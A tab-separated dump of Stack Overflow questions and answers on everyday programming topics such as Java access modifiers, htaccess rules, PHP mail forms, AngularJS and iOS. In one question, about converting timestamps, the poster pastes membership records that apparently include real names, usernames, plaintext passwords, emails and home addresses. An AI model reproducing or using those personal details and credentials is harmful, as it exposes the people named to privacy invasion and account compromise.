25421776	0	Java protected modifier accessible in another package having the same package name <p>I have programmed in Java for some time and I just realized that the <code>protected</code> access modifier allows members to be accessed also in the <em>same package</em>. So here is the situation and the question:</p> <p>I have a class having a <code>protected</code> method, and a test class using Mockito to stub that method. The two classes are located in different folders (a <em>src</em> and a <em>test</em>), but their package names are the same! The funny thing is, I can call the protected method in the test class! I would like to know how it is possible? Because their package names are the same? In this case the <code>protected</code> modifier does allow a very wide access!</p>
15722391	0	 <p>Usually, I use this technique:</p> <p>1) each template generates specific class in the body or some enveloping DIV</p> <pre><code> &lt;body class="myTemplate"&gt;... &lt;body class="otherTemplate"&gt;... </code></pre> <p>2) I specify general style, like</p> <pre><code>h1 { color: red; } </code></pre> <p>3) then I specify special styles for specific templates, using context selectors:</p> <pre><code>.myTemplate h1 { color: green; } .otherTemplate h1 { color: blue; } </code></pre> <p>This way I avoid dynamic stylesheets, because that is usually a bad idea to introduce these to the project. It is a source of many errors and duynamic code tends to grow beyond controll.</p>
12178205	0	Grouping objecs in PostgreSQL database <p>I inherited a project with a large Postgres database (over 150 tables, over 200 custom types, almost 1000 functions, triggers, etc.) Unfortunately, everything is dumped into one schema (<code>public</code>). It works just fine from the point of view of the application, however it's a major nightmare to maintain.</p> <p>The obvious thing would be to split these objects into separate schemas by function (e.g. all supplier-related stuff goes into <code>supplier</code> schema, all admin related stuff into <code>admin</code> schema, etc.). Once this is done, of course, some changes (ok, a lot of changes) to the code would be required to refer to the new schemas. Considering that the web application contains about 2000 php files, it may be quite a task. Again, as every php in the system already starts with <code>require_once('controller/config.php');</code> I could add a call there to set search path to include all the new schemas: <code>SET search_path = 'public, supplier, admin, ...'</code>, yet somehow subconsciously I don't like this solution.</p> <p>Is there any other way to deal with issue? I don't want to spend more effort than absolutely necessary on reorganising the database. I also can barely incur any downtime on the main web site, as it's used by clients across the world (Australia, Europe, North America).</p> <p>What would your recommend I do? </p>
1979965	0	 <p>If you set <code>cookieless="true"</code> (or <code>UseDeviceProfile</code> and browser has cookies disabled) in your <code>web.config</code> file, <a href="http://msdn.microsoft.com/en-us/library/aa480476.aspx" rel="nofollow noreferrer">authentication</a> information is appended to the URL and this url will be valid across other browsers. If you use cookies to identify users, then only the current browser will have the user authenticated.</p>
3500246	0	 <p>To capture images you can use the <a href="http://developer.apple.com/iphone/library/documentation/uikit/reference/UIImagePickerController_Class/UIImagePickerController/UIImagePickerController.html" rel="nofollow noreferrer">UIImagePickerController</a> To up- and download images to/from a web server you can use <a href="http://developer.apple.com/mac/library/documentation/Cocoa/Conceptual/URLLoadingSystem/URLLoadingSystem.html#//apple_ref/doc/uid/10000165i" rel="nofollow noreferrer">NSURLConnection</a> and it's companion.</p> <p>And it's always a good start to look into some apple sample codes. They're on the related classes documentation at the top under "Related sample code".</p>
18625274	0	 <p>I was in the same boat you were. What I found most helpful was to slightly change the bundle identifier. </p> <p>Example: Your bundle identifier is com.company.app. If you need to test enabling push notifications change the identifier to com.company.app1. It will install as a new app and have new push notification permission settings.</p> <p>Just make sure to change it back when you're done testing.</p>
117534	0	 <p>LINQ requires .NET v3.5</p> <p>An excellent tool for getting to know and practice LINQ is <a href="http://www.linqpad.net/" rel="nofollow noreferrer">Joseph Albahari's LINQPad</a></p>
6857457	0	 <p>I think this is a job for a modular approach: <a href="https://bitbucket.org/wiredesignz/codeigniter-modular-extensions-hmvc/wiki/Home" rel="nofollow">https://bitbucket.org/wiredesignz/codeigniter-modular-extensions-hmvc/wiki/Home</a></p> <blockquote> <p><strong>Q. What is Modular HMVC, why should I use it?</strong></p> <p><strong>A.</strong> Modular HMVC = Multiple MVC triads</p> <p>This is most useful when you need to load a view and its data within a view. Think about adding a shopping cart to a page. The shopping cart needs its own controller which may call a model to get cart data. Then the controller needs to load the data into a view. So instead of the main controller handling the page and the shopping cart, the shopping cart MVC can be loaded directly in the page. The main controller doesn’t need to know about it, and is totally isolated from it.</p> <p>In CI we can’t call more than 1 controller per request. Therefore, to achieve HMVC, we have to simulate controllers. It can be done with libraries, or with this “Modular Extensions HMVC” contribution.</p> <p>The differences between using a library and a “Modular HMVC” HMVC class is: 1) No need to get and use the CI instance within an HMVC class 2) HMVC classes are stored in a modules directory as opposed to the libraries directory.</p> </blockquote> <p><a href="http://www.cibonfire.com" rel="nofollow">Bonfire</a> also uses HMVC.</p>
23491713	0	How to send video file via MMS using MFMessageComposeViewController in iOS <p>I use <code>MFMessageComposeViewControoler</code> to send the video via MMS. Video duration is 1 second and size is 30KB. But it shows that video size is too long. Give any Ideas if we have rights to send video file through <code>MFMessageComposeViewController</code>. I searched a lot in google, but i can't get correct link for this issue.</p> <p><img src="https://i.stack.imgur.com/xbpA5.png" alt="enter image description here"></p> <p><img src="https://i.stack.imgur.com/x6bJx.png" alt="enter image description here"></p>
18792486	0	 <p>Empty list evaluates to <code>False</code> and non-empty list evaluates to <code>True</code>.</p> <p><code>if list1 and list2:</code></p> <p>is equivalent to:</p> <p><code>if list1 is not empty and list2 is not empty</code>:</p> <hr> <h2><a href="http://docs.python.org/2/library/stdtypes.html#truth-value-testing" rel="nofollow">List of falsy values in python</a>:</h2> <ul> <li><p>None</p></li> <li><p>False</p></li> <li><p>zero of any numeric type, for example, <code>0</code>, <code>0L</code>, <code>0.0</code>, <code>0j</code>.</p></li> <li><p>any empty sequence, for example, <code>''</code>, <code>()</code>, <code>[]</code>.</p></li> <li><p>any empty mapping, for example, <code>{}</code>.</p></li> <li><p>instances of user-defined classes, if the class defines a <code>__nonzero__()</code> or <code>__len__()</code> method, when that method returns the integer zero or bool value False. </p></li> </ul> <p>All other values are considered true — so objects of many types are always true.</p>
12664452	0	Strange css position issue <p>I'm using <a href="http://harvesthq.github.com/chosen/" rel="nofollow noreferrer">Choosen</a> and <a href="http://twitter.github.com/bootstrap/" rel="nofollow noreferrer">Twitter Bootstrap</a> in my project. What I want to get is, to get choosen's dropdown over collapsible divs but it goes under other content. Here is jsfiddle</p> <p><a href="http://jsfiddle.net/tt13/CFbpt/5/" rel="nofollow noreferrer">http://jsfiddle.net/tt13/CFbpt/5/</a> </p> <p>What am I missing? how to fix this problem?</p> <p><img src="https://i.stack.imgur.com/FN1wW.png" alt="enter image description here"></p>
14880691	0	 <pre><code>RewriteEngine On RewriteCond %{REQUEST_FILENAME} -s [OR] RewriteCond %{REQUEST_FILENAME} -l [OR] RewriteCond %{REQUEST_FILENAME} -d [OR] RewriteCond %{REQUEST_URI} !^blog.*$ RewriteRule ^.*$ - [NC,L] RewriteRule ^.*$ index.php [NC,L] </code></pre>
4890953	0	 <p>No, there isn't. That kind of control is on Android's end, not the web page it's displaying.</p>
21583212	0	 <p>FIrst thing first don't use <code>http://htaccess.madewithlove.be/</code> test as that is very reliable. Better to test on your localhost.</p> <p>Now your rules also need correction. Try this code:</p> <pre><code>RewriteEngine On RewriteBase / # match the subdomain RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{HTTP_HOST} ^fr\.example\.com$ [NC] # Make sure I don't already have a "lang" in the query string RewriteCond %{QUERY_STRING} !(^|&amp;)lang= [NC] RewriteRule ^(.*)$ $1?lang=fr [L,QSA] # match the subdomain RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{HTTP_HOST} ^www\.example\.com$ [NC] # Make sure I don't already have a "lang" in the query string RewriteCond %{QUERY_STRING} !(^|&amp;)lang= [NC] RewriteRule ^(.*)$ $1?lang=en [L,QSA] </code></pre>
13735521	0	How can I find the index of an array element? <p>I have this class and it displays the value of arrays after preferred input:</p> <pre><code>class MyArrayList { private int [] myArray; private int size; public MyArrayList (int value, int seed, int inc){ myArray = new int [value]; size = value; for (int i = 0; i &lt; size; i++) { myArray [i] = seed; seed += inc; } } } public class JavaApp1 { public static void main(String[] args) { MyArrayList a = new MyArrayList(5, 2, 1); a.printList(); } } </code></pre> <p>this program displays an output of: 2 3 4 5 6 now I want to find the index of 4 so that would be 2 but how can I put it into program?</p>
5845023	0	One action reused in multiple applications <p>I have a symfony application with two different applications (frontend, backend) but there is one action in common. Now I have duplicated its code in both apps but I don't like that at all.</p> <p>Is there a way to reuse an action in multiple symfony applications?</p>
36046979	0	 <p>Do it whit PL/SQL, something like this:</p> <ol> <li>Create the table with data if you don't have it:</li> </ol> <p><a href="https://i.stack.imgur.com/PNo3t.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/PNo3t.png" alt="enter image description here"></a></p> <ol start="2"> <li>Create a temporary function that help with returning the latest flag:</li> </ol> <p><a href="https://i.stack.imgur.com/XI5HK.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/XI5HK.png" alt="enter image description here"></a></p> <ol start="3"> <li>Make a group query that call the temporary function to get the data:</li> </ol> <p><a href="https://i.stack.imgur.com/mt3Cf.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/mt3Cf.png" alt="enter image description here"></a></p>
3447843	0	 <p>With a list it is linear to length of the list, so Θ(n), while direct access, like an array is Θ(1).</p>
8529431	0	EXEC_BAD_ACCESS when releasing a copied object <p>This has been killing me.. Because its a memory management issue...</p> <p>I have a NSArray created like so in say Class 2</p> <pre><code>@property (nonatomic, copy) NSArray * sourceArray; </code></pre> <p>I set this array from another class say Class 1 like ...</p> <pre><code>Class2 = [[Class2 alloc] initWithFrame:self.bounds]; [Class2 setSourceArray:self.namesArray]; </code></pre> <p>Where I am sure that self.namesArray contains objects.</p> <p>When I release Class 1, it releases Class 2 since Class 2 is a subview in Class 1 which is expected, but I get an EXEC_BAD_ACCESS when Class 2 releases sourceArray in dealloc like so...</p> <pre><code>[sourceArray release]; </code></pre> <p>I DO NOT get this error if I do not release namesArray in Class 1.. Which doesn't make sense because I am using I declared sourceArray as COPY which to my knowledge gives Class 2 its own version of the array...</p> <p>Can anyone help me here? Its killing me!</p> <p>More info: The reference count right before I try to release sourcearray is 1... So Why would a release not work?!</p>
23373813	0	convert multiple unix timestamps to dd/mm/yyyy from a data dump <p>I have a dump of members list in which there are 7000 users with joining date and subscription date in unix timestamp format . The thing is i need to import these members to a new membership software and it has dates in dd/mm/yyyy format . Now if have done such conversion for a single value coming from mysql database using </p> <pre><code>$datetime = strtotime($row-&gt;createdate); $mysqldate = date("m/d/y g:i A", $datetime); </code></pre> <p>But how to convert almost 14000 such timestamps which are in between of strings of words ? is there anything that i can do or some way ?</p> <p>Part of Dump </p> <pre><code>memberid,"identid","loginid","networkid","refurl_lookup_id","status","trial","joined","expired","last_login","stamp","siteid","username","password","cryptpass","ip","email","session","mailok","flat_price","first_login","third_party_partner_id","cascadeid","cascade_item_id","token","original_username","renamed","marked","token_hash","firstname","lastname","address1","address2","zip","city","country","state","shipping_firstname","shipping_lastname","shipping_address1","shipping_address2","shipping_zip","shipping_city","shipping_country","shipping_state","phone","xsell_success","xsell_message","custom1","custom2","custom3","custom4","custom5","last_modified","member_subscription_id","memberidx","billerid","statid","cost","cost_charge","spent","refunded","charges","next_rebill","optionid","rebills","active","upgradeid","expires","nats_expires","biller_expires","original_optionid","created_date","loginid_assigned","identid_assigned","gateway_token","campaignid","programid","tourid","adtoolid","subid1","subid2","countryid","promotionalid","loginid_nice" 7719,"26","0","0","27426","1","0","1398029330","0","1398797388","1398029330","1","torsten55","netsrot55","9dlO.AEZY3LpY","44776524","sds@googlemail.com","79ab391dc0873b7e18c63637d10d4a41","1","0","1398029433","0","1","1","0","sdsd","0","0","fb1d7da87c445cdfb59f241bd7e29dfe","dsd","Dietz","Karl-Liebknecht-Ring 22","","01612","Nuenchritz","DE","XX","","","","","","","","","","0","","","","","","","0","9866","CCBILL:02141107010sdsd","1","553543b62e8977","0","571","3938","0","1","1400707730","2","0","1","","1400707730","1400707730","0","2","1398029154","0","0","","0","0","1","0","0","0","0","0","Type-In" 7816,"45","0","0","30667","1","0","1398609314","0","1398797233","1398609314","1","Phantom183","MXU146","ac7Jo.tfvdJ5o","1573202729","rolex0@freenet.de","c29c6032ed3867b70ec7ec25749a1fde","1","0","1398609530","0","1","1","0","rolex","0","0","9446bf3e08c2e628cf449756ba92a9cb","sddso","Nasdal","BAhnhofstra&amp;#195;&amp;#159;e","","03046","Cottbus","DE","XX","","","","","","","","","","0","","","","","","","0","10043","CCBILL:021411770100000sd","1","5535d1545cd3f9","0","380","2627","0","1","1401287714","1","0","1","","1401287714","1401287714","0","4","1398609221","0","0","","0","0","4","0","0","0","0","0","Type-In" </code></pre>
1794379	0	 <p>I usually use a rel="" for some extra data i might need attached to the button or whatnot.</p> <p>for example</p> <pre><code>&lt;input class="btnDelete" rel="34" value="Delete" /&gt; </code></pre> <p>then in jquery</p> <pre><code>$('.btnDelete').click(function() { DeleteMethod($(this).attr("rel")); }); </code></pre>
36523864	0	Has anyone heard about a replacement for the Concept Expansion service? <p>I have been learning about the IBM Watson services and Bluemix over the last few months. I had previously looked at the Concept Expansion service but when I returned to the <a href="http://www.ibm.com/smarterplanet/us/en/ibmwatson/developercloud/concept-expansion.html" rel="nofollow noreferrer">page</a> where this service is described, I found the message from IBM that this service was being withdrawn: <a href="https://i.stack.imgur.com/7XOFe.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7XOFe.png" alt="Announcement that the Concept Expansion Service is being withdrawn"></a> Has anyone seen or heard of an alternative or replacement being suggested or offered by IBM?</p>
10335729	0	 <p>You don't need the curly braces around the ID. The curly braces indicate that you're going to put a variable there. Try:</p> <pre><code>http://api.linkedin.com/v1/groups/{2139884}/posts:(creation-timestamp,title,summary,creator:(first-name,last-name,picture-url,headline),likes,attachment:(image-url,content-domain,content-url,title,summary),relation-to-viewer)?category=discussion&amp;order=recency&amp;modified-since=1302727083000&amp;count=5 </code></pre>
20414997	0	 <p>This is because AngularJS escape HTML tags in string (replace them with HTML entities) by default to save you from XSS and some other security problems as well. To display trusted content un-escaped you could use <code>ngBindHTMLUnsafe</code> (in older AngularJS version), or the the <code>ngBindHTML</code> ans SCE in 1.2 and newer. For example:</p> <pre><code>&lt;div&gt;{{sometext|newline2br}}&lt;/div&gt; </code></pre> <p>Would be rewritten as (below 1.2):</p> <pre><code>&lt;div ng-bind-html-unsafe="sometext|newline2br"&gt;&lt;/div&gt; </code></pre> <p>With 1.2 and above:</p> <pre><code>&lt;div ng-bind-html="sometext|newline2br|trusted"&gt;&lt;/div&gt; </code></pre> <p>with the trusted filter:</p> <pre><code>app .filter('trusted', function($sce) { // You can use this one as `value|newline2br|trusted`, // but I don't recommend it return function(input) { return $sce.trustAsHtml(input) } }) </code></pre> <p>Or better with:</p> <pre><code>&lt;div ng-bind-html="sometext|newline2br"&gt;&lt;/div&gt; </code></pre> <p>and:</p> <pre><code>app .filter('newline2br', function($sce) { // This is my preferred way return function(input) { return $sce.trustAsHtml(input.replace(/\n/g, "&lt;br&gt;")) } }) </code></pre> <p>Plunker: <a href="http://plnkr.co/LIxFVpi6ChtTLEni11qy" rel="nofollow">http://plnkr.co/LIxFVpi6ChtTLEni11qy</a></p>
5475245	0	 <p>With the default options, it will not delete tables <code>A</code>, <code>B</code> and <code>C</code>. It will however overwrite (delete current data that is not in the backup) tables <code>D</code>, <code>E</code> and <code>F</code>.</p> <p>To see the list of available options <a href="http://dev.mysql.com/doc/refman/5.1/en/mysqldump.html">see here</a>.</p>
5177376	0	 <p>To Solve this Problem in MS Visual studio 2008. </p> <ol> <li>Goto Menu Project->Properties (Alt+F7) </li> <li>Configuration Properties</li> <li>Linker -> General -> additional Library Directories -> C:\Program Files\Microsoft Visual Studio 9.0\VC\lib</li> </ol> <p>....do the above steps and enjoy</p>
33641001	0	Animation array ending on first image <p>So for a load animation I have an image view looping through a bunch of images. The thing is that when it's done looping through it returns to the first image of the array even though I want it to finish on the last one. I try to set it to the last image in the completion block (I currently commented out the line) but it doesn't work. Any suggestions? Thank you!</p> <pre><code>import UIKit class ViewController: UIViewController { var logoImageView = UIImageView() var labelImageView = UIImageView() override func viewDidLoad() { super.viewDidLoad() self.navigationController?.navigationBarHidden = true self.view.backgroundColor = UIColor(red: (253/255), green: (78/255), blue: (23/255), alpha: 1) //sets up logo logoImageView = UIImageView(frame: CGRectMake(self.view.frame.size.width / 2 - 65, self.view.frame.size.height / 2 - 165, 0, 0)) logoImageView.image = UIImage(named: "00") logoImageView.backgroundColor = UIColor.clearColor() self.view.addSubview(logoImageView) //sets up ilmatic text label labelImageView = UIImageView(frame: CGRectMake(self.view.frame.size.width / 2 - 70, self.view.frame.size.height / 2 - 7, 140, 14)) labelImageView.image = UIImage(named: "00_word_mark") labelImageView.backgroundColor = UIColor.clearColor() labelImageView.alpha = 0 self.view.addSubview(labelImageView) //get bigger animation self.getBigger() } func getBigger(){ UIView.animateWithDuration(2, animations: { () -&gt; Void in self.logoImageView.frame = CGRectMake(self.view.frame.size.width / 2 - 65, self.view.frame.size.height / 2 - 165, 130, 130) }) { (completion) -&gt; Void in self.performSelector("animate", withObject: self, afterDelay: 0.5) } } func animate() { UIView.animateWithDuration(2, animations: { () -&gt; Void in let animationImages:[UIImage] = [UIImage(named: "00")!, UIImage(named: "02")!, UIImage(named: "03")!, UIImage(named: "04")!, UIImage(named: "05")!, UIImage(named: "06")!, UIImage(named: "07")!, UIImage(named: "08")!, UIImage(named: "09")!, UIImage(named: "10")!, UIImage(named: "11")!, UIImage(named: "12")!, UIImage(named: "13")!, UIImage(named: "14")!, UIImage(named: "15")!, UIImage(named: "16")!, UIImage(named: "17")!, UIImage(named: "18")!, UIImage(named: "19")!, UIImage(named: "20")!, UIImage(named: "21")!, UIImage(named: "22")!, UIImage(named: "23")!, UIImage(named: "24")!, UIImage(named: "25")!, UIImage(named: "26")!] self.logoImageView.animationImages = animationImages self.logoImageView.animationRepeatCount = 1 self.logoImageView.animationDuration = 2 self.logoImageView.startAnimating() }) { (completion) -&gt; Void in UIView.animateWithDuration(4, animations: { () -&gt; Void in // self.logoImageView.image = UIImage(named: "26") ^^^THE ABOVE LINE DOESN T SET THE IMAGE BACK FOR SOME REASON self.labelImageView.alpha = 0 self.labelImageView.alpha = 1 }, completion: { (completion) -&gt; Void in self.performSelector("pushToCreateVC", withObject: self, afterDelay: 2) }) } } func pushToCreateVC() { let createVC = CreateAccountViewController() self.navigationController?.pushViewController(createVC, animated: true) } } </code></pre>
8505255	0	 <p>Look at the root cause:</p> <pre><code>java.lang.RuntimeException: IteratedExpression.getItem: Index out of Bounds at javax.servlet.jsp.jstl.core.IteratedExpression.getItem(IteratedExpression.java:75) at javax.servlet.jsp.jstl.core.IteratedValueExpression.getValue(IteratedValueExpression.java:60) at org.apache.el.parser.AstIdentifier.getValue(AstIdentifier.java:64) at org.apache.el.parser.AstValue.getValue(AstValue.java:112) at org.apache.el.ValueExpressionImpl.getValue(ValueExpressionImpl.java:186) at org.apache.jasper.el.JspValueExpression.getValue(JspValueExpression.java:101) at javax.faces.component.UIData.getValue(UIData.java:1081) at org.ajax4jsf.component.UIDataAdaptor.getValue(UIDataAdaptor.java:1624) at org.ajax4jsf.component.SequenceDataAdaptor.getDataModel(SequenceDataAdaptor.java:65) at org.ajax4jsf.component.SequenceDataAdaptor.createDataModel(SequenceDataAdaptor.java:59) at org.richfaces.component.UIDataTable.createDataModel(UIDataTable.java:120) ... </code></pre> <p>This is absolutely not related to filters. The request just happens to being passed through a filter. If the filter would have caused any problem, you would have seen it in the 1st line of the stacktrace.</p> <p>Your concrete problem is most likely caused by not preserving the proper data model for the data table in the subsequent request. The managed bean is apparently in the request scope instead of the view scope. To fix this, you need to put the bean in the view scope and if necessary review your data model preserving/preloading logic. This should take place in (post)constructor and/or (action)listener methods, but for sure not in the getter method. The getter method should <strong>only</strong> return the data model, nothing more.</p> <p>If you are still on JSF 1.x which doesn't have the new JSF 2.x view scope, you need to add an <code>&lt;a4j:keepAlive&gt;</code> to the page which references the request scoped managed bean.</p>
26067489	0	send html form with php can't solve <p>I have big problem with sending easy html form with php. My problem is when all fields are empty it still send message. I don't why this code still send empty form??</p> <pre><code> &lt;form id="form1" name="form1" method="post" action="forma.php"&gt; &lt;p&gt; &lt;label for="ime"&gt;Ime:&lt;/label&gt; &lt;input type="text" name="ime" id="ime" /&gt; &lt;/p&gt; &lt;p&gt; &lt;label for="prezime"&gt;Prezime:&lt;/label&gt; &lt;input type="text" name="prezime" id="prezime" /&gt; &lt;/p&gt; &lt;p&gt; &lt;label for="email"&gt;e-mail:&lt;/label&gt; &lt;input type="text" name="email" id="email" /&gt; &lt;/p&gt; &lt;p&gt; &lt;label for="poruka"&gt;Poruka:&lt;/label&gt; &lt;textarea name="poruka" cols="40" rows="10" id="poruka"&gt;&lt;/textarea&gt; &lt;/p&gt; &lt;p&gt; &lt;input type="submit" name="submit" value="submit" /&gt; &lt;/p&gt; &lt;/form&gt; </code></pre> <p>My php code:</p> <pre><code>&lt;?php if (isset($_POST['submit'])) { $ime= $_POST['ime']; $prezime= $_POST['prezime']; $email= $_POST['email']; $poruka= $_POST['poruka']; $email_from = 'neki@email.com'; $email_subject = "forma sa sajta"; $email_body = "Ime: $ime. \n". "Prezime: $prezime \n". "email: $email \n". "poruka: $poruka" ; $to = "myemail@gmail.com"; mail ($to, $email_subject, $email_body); echo "Message is sent"; } else { echo "Message is not sent"; } ?&gt; </code></pre> <p>So again, when i fill fields message is sent. It is ok, i received email. But when i just click submit (without filling fields) it still send message to my email.</p> <p>What is wrong with this code? I try everything i know, but without success. </p> <p>Thank you.</p>
8170150	0	Http redirect in Tomcat or web service proxy <p>I got a web service running on <em>127.0.0.1:8080/test/mywebservice</em></p> <p>This web service (port:8080) is created dynamically by another web service (port:80) that is hosted in Tomcat. All web services that are created by Tomcat directly can use port 80, however, not those that are created dynamically.<br></p> <p>I have to do this since I need to share objects between these two web services.<br></p> <p>The problem is that the client can only make requests to port 80, and I can't host my web service on port 80.<br></p> <p>Does anyone know how to redirect requests to<br> &nbsp;&nbsp;&nbsp;&nbsp;<em>127.0.0.1:<strong>80</strong>/test/mywebservice</em><br> &nbsp;&nbsp;to<br> &nbsp;&nbsp;&nbsp;&nbsp;<em>127.0.0.1:<strong>8080</strong>/test/mywebservice</em></p>
21694091	0	 <p>If somehow you can store the socektID of the sender in a variable, then you can emit to that particular client in app.post method. Do something like this:</p> <pre><code>var id; io.sockets.on('connection', function(socket){ socket.on('some event'){ id = socket.id; } }); </code></pre> <p>and do this in app.post method:</p> <pre><code>app.post('/room', function(req, res) { io.sockets.socket(socketid).emit('event name', {data: yourData}); }); </code></pre> <p>Though I've proposed this solution but your approach doesn't seem too convincing.</p>
15473349	0	 <p>Save all first page post values in to session as like $_SESSION['page']=$_POST when clicking secon page,and store second page post values also when clicking third page ,save all the third page post values in session,Finally you get all values from session.</p>
18521628	0	Can the server get a long-lived access token with the code in `signedRequest`? <p>Is the <code>code</code> property of <code>authResponse.signedRequest</code> (in the Facebook JavaScript API) useful? I'm generating one like this:</p> <pre class="lang-js prettyprint-override"><code>FB.login({ scope: "email" }, function(r) { console.log([ function(d){ return d.split('.')[1]; }, function(d){ return atob(d.replace('-', '+').replace('_', '/')); }, JSON.parse, function(d){ return d.code; } ].reduce( function(acc, f) { return f(acc); }, r.authResponse.signedRequest )); }); </code></pre> <p><a href="https://developers.facebook.com/docs/reference/login/signed-request/" rel="nofollow">The docs</a> say this:</p> <blockquote> <p><code>code</code>: an OAuth Code which can be exchanged for a valid user access token via a <a href="https://developers.facebook.com/docs/authentication/" rel="nofollow">subsequent server-side request</a></p> </blockquote> <p>…but that link redirects to Facebook Login home page. I found the <code>/oauth/access_token</code> endpoint documented <a href="https://developers.facebook.com/docs/facebook-login/access-tokens/" rel="nofollow">here</a>, but it requires a <code>redirect_uri</code> parameter, and there isn't one in this case.</p>
41031231	0	IOS swift can I eliminate unused rows in a TableView <p>I am using swift 3.0 and have a TableView in it everything is working great except that I only have 2 rows returning for now but the TableView is showing additional blank rows. I was wondering if there was any way to eliminate those rows for example this is how my simple app looks right now (Below) as you can see I have 2 rows and I want to eliminate the other rows because they do not need to be there . I am new to TableViews and thought that this piece of code controlled how many rows appear</p> <pre><code> func tableView(_ tableView:UITableView, numberOfRowsInSection section:Int) -&gt; Int { return 2 } </code></pre> <p>any suggestions would be great</p> <p><a href="https://i.stack.imgur.com/vFwXY.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vFwXY.png" alt="My TableView"></a></p>
21209154	0	 <p>Arena software is used for modeling and simulation discrete event systems. It can be used in business process modeling, electronics systems design, modeling concurrent systems and is sometimes used in University level courses on concurrency and systems modeling. </p> <p>It is available commercially from <a href="http://www.arenasimulation.com" rel="nofollow">Rockwell Automation</a>.</p>
23214841	0	 <p>You guessed it right when you thought <code>temp[0]</code> equals <code>a</code> and <code>temp[1]</code> equals <code>b</code>. But wait why are you going beyond that like you are trying to dereference something like <code>temp[2]</code>? You did not initialize this thing right!</p> <p>Your program causes <code>undefined behaviour</code> by accessing memory past the end of the array. The compiler is not always obliged to give you an error message. Check <a href="http://stackoverflow.com/questions/9137157/c-no-out-of-bounds-error">this</a> question.</p>
25018410	0	batch size of prepared statement in spring data cassandra <p>I'm getting this warning in the log:</p> <p>WARN [Native-Transport-Requests:17058] 2014-07-29 13:58:33,776 BatchStatement.java (line 223) Batch of prepared statements for [keyspace.tablex] is of size 10924, exceeding specified threshold of 5120 by 5804.</p> <p>Is there a way in spring data cassandra to specify the size?</p> <p>Cassandra 2.0.9 and spring data cassandra 1.0.0-RELEASE</p>
40205008	0	Known 2 collided input value for sha1 that gives same hash? <p>Is there any 2 known valued of input for sha1 which gives the same hash?</p> <p>since sh1 takes the any length input and output 128/256/512 , so it is possible to find any 2 string of any known length which can produce same hash .</p>
23751532	0	Get Data from Google Form Spreadsheet (Android App Development) <p>I'm using Eclipse to develop an app. </p> <p>I used this code to submit data from my app to the Google Form. <a href="https://www.youtube.com/watch?v=GyuJ2GtpZd0" rel="nofollow">https://www.youtube.com/watch?v=GyuJ2GtpZd0</a></p> <p>I was wondering if you can help me with this: I need my app to read a column of data from the Google Form spreadsheet. I've tried looking everywhere for the code, but I can't seem to find it. Do you have any ideas how to implement this?</p> <p>The column I want to read is a list of e-mails submitted from my app, and I just don't want the user to submit to my Google form multiple times!!! So, I need want to know how to read the list of emails from my Google Form.</p> <p>I'm aware there is a Google Document API, but I'm not sure which part should I look at: <a href="https://developers.google.com/google-apps/documents-list/?csw=1" rel="nofollow">https://developers.google.com/google-apps/documents-list/?csw=1</a></p>
31040205	0	how to find a path visit as much as possible vertices? <p>Given a square grid (undirected graph), is there any way to find a path which will visit as much as possible vertices.</p> <p>each vertex can be visit only once. It means that the path will be Hamilton tour if exist, or be a longest path.</p> <p>The graph has some walls. Wall is a vertex has no edge connect to neighbors.</p> <p>I has a solution (in mind), but it's very similar to find all path and chose the first one has most vertices visited.</p> <blockquote> <ol> <li><p>Find a path will visit all neighbors from given start vertex to the end (no way can go).</p></li> <li><p>look back to the current path until the starting vertex, if there is any vertex has neighbors outside of the current path, process like step 1 from the found vertex and its new neighbors.</p></li> <li><p>analysis and choose the longest path (has most vertices).</p></li> </ol> </blockquote> <p>I found <a href="http://cs.stackexchange.com/questions/14390/find-a-simple-path-visiting-all-marked-vertices">similar problem</a>, cannot understand what does @Juho mean: </p> <blockquote> <p>Choose a successor si to top(S), and try to find a path si−1⇝si avoiding vertices in F. If a path is found, insert the vertices on the path si−1⇝si to F.</p> </blockquote> <p>I don't have enough reputation to add a comment there.</p> <p>my solution get performance trouble, I guess. Any suggestion?</p>
876656	0	Difference between Dictionary and Hashtable <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/301371/why-dictionary-is-preferred-over-hashtable-in-c">Why Dictionary is preferred over hashtable in C#?</a> </p> </blockquote> <p>What is the difference between Dictionary and Hashtable. How to decide which one to use?</p>
10949892	0	android How to deactivate an app from taskmanager <p>My app has an Alarm Manager, so I suppose that it is still active on Task Manager. Is there any way to deactivate the App from TaskManager while alarm is sleeping? </p> <p>Thanks for your answers in advance.</p> <p>Taziano</p>
18842936	1	Qt Pyside displaying results in widgets <p>I am going through a lot of data in a loop, and updating status into a textedit widget on my mainwindow. The thing is, the textedit widget only gets update, after all my data in the loop is processed. I want to display it in the textedit widget as its processing.</p> <pre><code>for i in data: ... textedit.settext(i) &lt;&lt;---- this part is not updated "fast" enough to textedit widget .. </code></pre> <p>what can i do about this? Do i have to look in the direction of some form of multithreading? thanks</p> <p>Update: Actually the whole scenario is i am doing some file operations, going through directories, connecting to databases, selecting stuff and then displaying to GUI. While my code runs in the background, i would also like to display results found to the QT textedit widget in "realtime". Right now, my widget shows the result after my file operations are done. And the GUI "hangs" while the file operations are being done. thanks</p>
27510000	0	 <p>Within a <code>Tasklet</code>, the responsibility for exception handling is on the implementation of the <code>Tasklet</code>. The skip logic available in chunk oriented processing is due to the exception handling provided by the <code>ChunkOrientedTasklet</code>. If you want to skip exceptions in your own <code>Tasklet</code> implementation, you need to write the code to do so in within your own implementation.</p>
35092693	0	Return a reference on a string using an iterator <p>I have a vector containing strings, an iterator (<code>_it</code>) on this vector, and I would like to return a reference on one of the string using this iterator.</p> <p>For now, the return is made by copy:</p> <pre><code>std::string myClass::next_token() { std::vector&lt;std::string&gt;::const_iterator old_it = _it++; return *old_it; } </code></pre> <p>I would like to do this (note the <code>&amp;</code> on return-type)</p> <pre><code>std::string&amp; myClass::next_token() { //... } </code></pre> <p>But I get the following error :</p> <blockquote> <p>invalid initialization of reference of type <code>‘std::string&amp; {aka std::basic_string&lt;char&gt;&amp;}’</code> from expression of type <code>‘const std::basic_string&lt;char&gt;’ std::string&amp; token = *old_it</code>;</p> </blockquote>
